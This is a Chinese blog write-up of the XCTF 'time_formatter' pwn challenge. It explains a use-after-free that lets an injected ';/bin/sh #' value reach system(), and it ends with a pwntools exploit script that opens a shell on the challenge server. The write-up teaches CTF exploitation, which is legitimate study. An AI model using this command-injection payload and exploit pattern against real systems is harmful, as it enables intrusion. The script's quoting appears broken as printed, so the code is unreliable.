2019XCTF攻防世界之萌新入坑（time_formatter）

最新推荐文章于 2024-05-06 20:01:42 发布

梦回Altay

最新推荐文章于 2024-05-06 20:01:42 发布

阅读量1.8k

点赞数 2

分类专栏： pwn

本文链接：https://blog.csdn.net/weixin_44113469/article/details/89221515

版权

pwn 专栏收录该内容

19 篇文章 1 订阅

订阅专栏

time_formatter

题目先给出一个菜单

在这里插入图片描述

选择1设置参数格式化字符串
选择2设置参数指定时间戳
选择3设置参数时区
选择4对已有时区参数的情况做处理
选择5退出 (可选择是否退出)

在这里插入图片描述
选择1 malloc

选择3同样是一个malloc

选择4 一个后面，读入字符串，并作为system的参数
在这里插入图片描述
选择5 free掉ptr、value两个堆块

在这里插入图片描述
利用use after free

选择1设置格式化字符串（malloc(n)）
选择3设置时区 (malloc(n))，传入参数/bin/sh，利用’’\将参数括起来，‘；’用来传参
选择5 退出 (选择否，目的是 free上面的两个块)
选择3设置时区(消耗时区 free的块)
选择4设置时区（使用格式化字符串free的块）

在这里插入图片描述
exp

from pwn import *
r = remote("111.198.29.45", 30168)
 r.send("1" + "\n") 
r.send("%c" + "\n") 
r.send("3" + "\n") 
r.send("\'"+";/bin/sh #"+"\" + "\n") 
r.send("5" + "\n") 
r.send("\n") 
r.send("3" + "\n") 
r.send("\'"+";/bin/sh #"+"\" + "\n") 
r.send("4" + "\n") 
r.interactive()